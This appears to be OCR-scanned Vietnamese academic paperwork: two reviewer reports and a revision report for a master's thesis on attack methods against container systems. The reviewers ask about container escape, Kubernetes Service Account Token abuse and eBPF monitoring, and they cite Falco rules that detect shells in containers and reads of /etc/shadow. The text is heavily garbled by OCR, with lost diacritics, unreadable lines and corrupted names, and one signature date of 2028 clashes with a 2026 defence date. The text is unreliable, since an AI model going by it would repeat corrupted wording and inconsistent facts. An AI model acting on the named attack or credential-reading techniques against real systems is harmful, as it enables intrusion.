Ngodi ra, mt sd bang vi hinh anh chwra duge ciin chinh déu, vi dy hinh 3 & trang 5 bj
Kch so véi van ban. Cde 13i ndy tuy khéng dnh hudng 16n dén ndi dung nhung lam
gidm tinh chuyén nghi¢p cia hinh thirc trinh bay..

Vé nji dung:

Mot 6 vén dé vé kién thire va logic cdn hwu ¥. Trang 3, phén 18 hdng bdo mit chwa
phén tich sdu vé tic ddng cia technical lag, chi dimg & mirc li¢t ké.

Trang 19, phiin 18 hdng runtime chua giai thich rd céch khai thic cy thé, khién ngudi
doc khé hinh dung.

Trang 24, kich bin TN-01 chua phin tich chi tiét co ché escape qua namespaces vi
cgroups, chi md ta quy trinh. Trang 28, kich ban TN-02 chua giai thich rd cich hacker
khai théc Service Account Token trong Kubernetes, chi dimg & mire két qua.

Trang 30, kich bin TN-03 chwa phin tich sdu co ché tin cong mang ndi b3, chi md ti
céu triic djch vu gid 1ip. Trang 34, phiin giai phép ¢BPF chua gidi thich rd co ché hoat
dong, chi néu tén cing nghé.

Trang 37, phin Falco chua phan tich chi tiét cich phat hi¢n banh vi bét thuimg, chi
dua ra cdu hinh rule.

Trang 38, phin Calico CNI chua gidi thich rd co ché vi phiin minh mang, chi mo
tong quit. Trang 43, phan thyc nghiém do kiém higu niing chua ¢6 sd ligu dinh hrgng
cy thé, chi md 1 két qui. Trang 46, phin két lugn chua dua ra dinh hudng nghién ci
tiép theo, khién dé tai thidu tinh m&s rong.

Ciu hoi:

1. Lam thé ndo dé hacker thyre hién container escape qua misconfiguration?
2. Service Account Token trong Kubernetes ¢6 vai trd gi trong tin cong?
3. Co ché ¢BPF hd trg gidm sit bio mét container ra sao?

IV/ Két ludn;
Péng y.
Ngiy 21 thing 07 ngm 2026
NGUOI NHAN XET
_/_ \ L'I *1 [ S

TS Trinh Bao Ngoc



CONG HOA XA HO1 CHU NGHIA VIET NAM
Pic lap — Tw de — Hanh shic

BAN NHAN XET DE AN TOT NGHIEP THAC SI
(Diing cho nguedi phan bign)

Tén dé tai d& dn 1t nghidp: NGHIEN CUU PHUONG THUC TAN CONG VAO
HE THONG CONTAINER

Chuyén nginh: Khoa hoe méy tinh

Mi chuyén nginh: 8. 48.01.01

Ho vit tén hoe vién: Neuyfn Tudn Anh e,

Ho vi tén ngudd nhin xét; Nguyén Vin Vinh

Hoc hitm, hoe vi: Tidn 5§ ....... e

Cor quan céng tie: Trudmg Pai hoc Cong Nghé, PHQC |5 T ——

S AIEI THORE. .. venevrmmsrecoecesrecssnmsens sy s senbeasaasess | U
NOI DUNG NHAN XET

I/ Co s& khoa hoe va thuc tidn, tinh cip thiét cia d8 tai:
Tmngnhﬁn,gnhnghﬁ}r,aﬂngngqemmimhmmngvﬁkjénwcdimm,.
(Microservices) trir thamh tiéu chudn quan troag trong ha ting CNTT hién dei. Vi viy
ﬂéﬁinghihicﬂuphwnglhmtﬁncﬁngvﬂnhﬂMﬂgﬂﬂﬂﬂinnlﬁﬁbfnghiauﬂm_ﬂ
khoa hoc cling nhu thye tf, dic biét vé mit ing dung
11 Ngi dung cia d& dn 15t nghiép, céc két qui di dat duge:
- Trmhhi}rtﬁigqumvénﬂngnghﬁﬂuﬁincrﬁkiﬁlnuﬂ:hﬁﬂrﬁig
. Nghién cira vé céc 15 hing vi thich thirc bio mit di vai hé thing Container
- Thye nghiém phwong thire tin cong vi phin tich vector thim nhip vi céc gidi
phip béo vé va phong thi toén dign cho bé thing Container. Ba kich bin thye
nghiém (TN-01, TN-02, TN-03) mang tinh ¢gi di¢n cao
11/ Nhimg vén 82 cin gidi thich thém:
- 'Nén dénh sé céc bing vi hinh theo tén churomg,
D fin dwge trinh bay nhar i ligu k¥ thodt hon 13 mdt dé 4n khoa hoc (lufn vin
ﬂmcsj‘]rﬁnnﬁthéhﬁcinbhgciuhinh,cic:ﬁuﬁhﬂngphhphulun:.
Eingdrl—linh‘iﬁsnﬁnh“mﬁihﬁmgmﬂdinh{ﬂhunngi}“vdﬂ"mul:h’ki:h
hogt phing thil (Chuomg 4)°, nhung trong Chuomg 3 kbing hé c6 mdt bai do



AB niao dugc thue hién tén baseline nhu con sb 12.4ms / 845mps & cit “mdi
tnzomg méc dinh* xudt hién dot ngdt, khdng ¢4 hinh dnh/log minh ching trong
img nhu céch trinh bay céc kich bin TN-01/02/03?

- Mdi tradmg thye nghiém qué don gidn o v6i h thing thye té. Cum chi gm 1
Master + 1 Worker (2 vCPU/4GB mdi node), ddy 1a quy md trong lab (khi
nhé), khéng phin dnh duoc cic vin ¢& ¢ scale thyc (nhiéu node, nhidu
namespace, network policy phire tap véi hing trim service).

- Khang cb kich bén kiém tra false positive rate cia Falco rules, trong thyc té viin
hanh, @4y 14 vin d& Ion nhét khién céc d0i SOC "alert fatigue” va tit rule. D& dn
chi trinh din 1-2 rule don gidn (terminal shell in container, read /etc/shadow)
mé chua d4nh gia 43 chinh x4c/d) nhidu trén workload thye?

. Chi ¢6 12 tai liéu tham khdo cho mdt dé én k§ thujt an todn container. Diéu nay
14 khi it s0 vi chuin thac s (thuémg 25-40 trér 1én). Nhiéu tuyén bd quan trong
nhu con 56 “70-90% phy thudc FOSS®, thing ké Garmer “90% doanh nghi¢p
container hoa vao 2026“ khong co trich ddn sb [x] di kém ngay tai cdu do?

- Mot 6 15i chinh ti v cdch tham chiéu tai liéu tham khio cdn duge chinh sira.

IV/ Két ludn:

Pé an dip tmg co bin d¢ dn bic thac s¥ nginh Khoa hoc méy tinh sau khi chinh sira
theo cic gop ¥ clia cde thanh vién héi dong.
Déng ¥ cho phép hoc vién bio vé ¢ dn tbt nghiép.

Ngity. 24 .. thang. ... .ndm 2028

NGUOI NHAN XET
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Ngwies vbs  Vid



wxumugch CONG Ngtm CONG HOA XA HOI CHU NGHIA VIET NAM
HOC VIEN CONG NGH = q k nbé
BUU CHINH VIEN THONG Déc Ijp - Ty do - Hynh phiic

BAO CAO GIAI TRINH
SUA CHUA, HOAN THIEN DE AN TOT NGHIEP

Ho va tén hoe vién: Nguyén Tuin Anh
Chuyén nganh: KHMT
Khéa: 2023 dot |
Tén dé tai: Nghién ciru phuong thirc tin cong vao hé thng container
Ngudi huéng din khoa hoc: PGS.TS. D3 Xudn Che
Ngiy bio vé: 22/07/2026
Céc ndi dung hoc vién d sira chira, b sung trong & én 18t nghiép theo ¥ kién dong
g6p cita Hoi ddng chidm dé 4n 1t nghiép:

T ¥ kién hoi ddng Sira chra ciia hoc vién
R Ra sodt trinh bay (@c biét cic bing biéu, hinh | Hoc vién dd ri soit, chinh sim céc 15i
anh vik 1i in dn, chinh ) soan thao, cic 16i nglt phip
; = . Tidp thu gop  cia Hoi ddng, tdc gid &
2 Chuiin héa danh myc tai li¢u tham khao bb sung thém 8 tai fi¢u tham khdo

Tidp thu gop ¥ cia Hi ddng, tic gia da

' | chinh st lsi bS cyc dua phin thyc
Cin nhiic chinh sira b cyc 88 dncho hop Iy VOi | (Lo 0 cp oo 03 > Chuong 04,

tén va ndi dung cis @& dn o liop tode b ndi g thuo aghit
sang Chuong 04,

Ha Noi, ngaylT thang 0Fnam 2026

Ky xdc nhin ciia
CHU TICH HOI PONG THUKY HOIDONG  NGUOI HUONG DAN HOQC VIEN

CHAM DPE AN KHOA HQC %/

PGS.TS. Nguyén Trong Khinh TS, Piing Ngoc Himg PGS.TS. D3 Xuan Ch¢  Nguy&n Tulin Anh
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